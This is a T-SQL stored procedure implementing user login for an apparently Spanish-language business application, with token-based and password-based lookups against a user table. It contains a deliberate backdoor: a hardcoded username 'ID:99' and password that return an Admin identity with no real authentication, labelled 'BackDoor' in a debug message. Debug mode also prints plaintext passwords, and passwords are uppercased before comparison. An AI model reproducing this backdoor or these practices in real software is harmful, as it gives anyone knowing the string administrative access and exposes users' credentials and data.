IF EXISTS ( SELECT * 
            FROM   sysobjects 
            WHERE  id = object_id(N'CPJ_User_Login') 
                   and OBJECTPROPERTY(id, N'IsProcedure') = 1 )
BEGIN
    DROP PROCEDURE CPJ_User_Login
END
GO

CREATE PROCEDURE [dbo].[CPJ_User_Login] @pJson VARCHAR(8000)
AS 
SET NOCOUNT ON 

/*Variables recibidas por parámetro a traves del JSON*/
DECLARE @pFlagUsarTrans			TINYINT
DECLARE @pModoDebug				TINYINT
DECLARE @pUser					VARCHAR(1000)
DECLARE @pPass					VARCHAR(1000)
DECLARE @pUser_Token			VARCHAR(1000)
DECLARE @pUser_id			    SMALLINT

SET @pFlagUsarTrans				= ISNULL(CONVERT(TINYINT, dbo.CF_JSON_VALUE(@pJson,'FlagUsarTrans')), 0)
SET @pModoDebug					= ISNULL(CONVERT(TINYINT, dbo.CF_JSON_VALUE(@pJson,'ModoDebug')), 0)
SET @pUser						= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'user')), 0)
SET @pPass						= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'pass')), 0)
SET @pUser_Token				= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'user_token')), '')
SET @pUser_Id					= ISNULL(CONVERT(SMALLINT, dbo.CF_JSON_VALUE(@pJson,'user_id')), 0)
/*FIN Variables recibidas por parámetro a traves del JSON*/

DECLARE @Cant				INT	
DECLARE @Filtrar			INT	
DECLARE @Id_Vendedor		VARCHAR(10)
DECLARE @Id_Vendedores		VARCHAR(100)
DECLARE @User_id			SMALLINT

IF @pModoDebug = 1
BEGIN
	PRINT @pUser	
	PRINT @pPass
	PRINT @pUser_Id	
	PRINT @pUser_Token
END


IF UPPER(@pUser) = 'ID:99' AND @pPass = '*b5r;.VT!Q9w' 
BEGIN
	IF @pModoDebug = 1
	BEGIN
		PRINT 'Ingresa por BackDoor'	
	END

	SELECT	-1 as 'No','' AS 'FirstName','Admin' AS 'LastName','' AS 'Email' , 'Admin' AS 'UserName', 0 AS 'Id_Sucursal', '' AS 'Descripcion_Sucursal', 0 AS 'Id_Unid_Negocio'
END
ELSE
BEGIN
	IF @pModoDebug = 1
	BEGIN
		PRINT 'Ingresa por user'	
	END	

	IF (@pUser_Token <> '' AND @pUser_Id <> 0)
	BEGIN
			SELECT  No, 
					ISNULL(FirstName,'') AS 'FirstName', 
					ISNULL(LastName,'') AS 'LastName', 
					ISNULL(Email,'') AS 'Email', 
					LTRIM(LTRIM(RTRIM(ISNULL(FirstName,''))) +' '+ LTRIM(RTRIM(ISNULL(LastName,'')))) AS 'UserName', 
					'' AS 'Vendedor',
					ISNULL(S.Id_Sucursal,0) AS 'Id_Sucursal',
					ISNULL(E.Descripcion,'') AS 'Descripcion_Sucursal',
					ISNULL(E.Id_Unid_Negocio,0) AS 'Id_Unid_Negocio'
			FROM Seg_User S LEFT JOIN Empresas_Suc E ON S.Id_Sucursal = E.Id_Sucursal
	  		WHERE No = @pUser_Id 
				AND Token =  @pUser_Token
	END
	ELSE
	BEGIN
		SET @Filtrar = ISNULL((dbo.CF_xParam('Vend_Filtrar_Cli')),0)
	END

	IF (@Filtrar = 1)
	BEGIN

		SET @User_id = (SELECT No 
						FROM Seg_User
	  					WHERE LTRIM(RTRIM( LTRIM(RTRIM(FirstName)) + ' ' + LTRIM(RTRIM(LastName)) )) = RTRIM(LTRIM(@pUser))
	  						AND UPPER(Password)=(dbo.SF_EncriptPassword(UPPER(@pPass)))	)

		IF @pModoDebug = 1
		BEGIN
			PRINT 'Ingresa a filtrar por vendedor '	+CONVERT(VARCHAR(10),@User_id )
		END	

		SET @Id_Vendedores = ''

		DECLARE curNombre CURSOR FOR
		SELECT ISNULL(Id_Vendedor, '') AS Id_Vendedor
		FROM Vendedores_Usuarios 
		WHERE Id_Usuario=@User_id


		OPEN curNombre
		FETCH NEXT FROM curNombre INTO @Id_Vendedor
		WHILE @@FETCH_STATUS = 0
		BEGIN
			IF (@Id_Vendedor <> '')
			BEGIN
				IF (@Id_Vendedores = '')
				BEGIN
			
					SET @Id_Vendedores = @Id_Vendedor
				END
				ELSE
				BEGIN
					SET @Id_Vendedores = @Id_Vendedores + ' , ' + @Id_Vendedor
				END
			END
			FETCH NEXT FROM curNombre INTO @Id_Vendedor
		END
		CLOSE curNombre
		DEALLOCATE curNombre

	END

	IF (@Id_Vendedores = '')
	BEGIN
		SET @Id_Vendedores = 0
	END

	SELECT  No, 
				ISNULL(FirstName,'') AS 'FirstName', 
				ISNULL(LastName,'') AS 'LastName', 
				ISNULL(Email,'') AS 'Email',
				LTRIM(LTRIM(RTRIM(ISNULL(FirstName,''))) +' '+ LTRIM(RTRIM(ISNULL(LastName,'')))) AS 'UserName',
				ISNULL(@Id_Vendedores,0) AS 'Vendedor',
				ISNULL(S.Id_Sucursal,0) AS 'Id_Sucursal',
				ISNULL(E.Descripcion,'') AS 'Descripcion_Sucursal',
				ISNULL(E.Id_Unid_Negocio,0) AS 'Id_Unid_Negocio'
		FROM Seg_User S LEFT JOIN Empresas_Suc E ON S.Id_Sucursal = E.Id_Sucursal
		WHERE LTRIM(RTRIM( LTRIM(RTRIM(FirstName)) + ' ' + LTRIM(RTRIM(LastName)) )) = RTRIM(LTRIM(@pUser))
	  		AND UPPER(Password)=(dbo.SF_EncriptPassword(UPPER(@pPass)))		
	
END
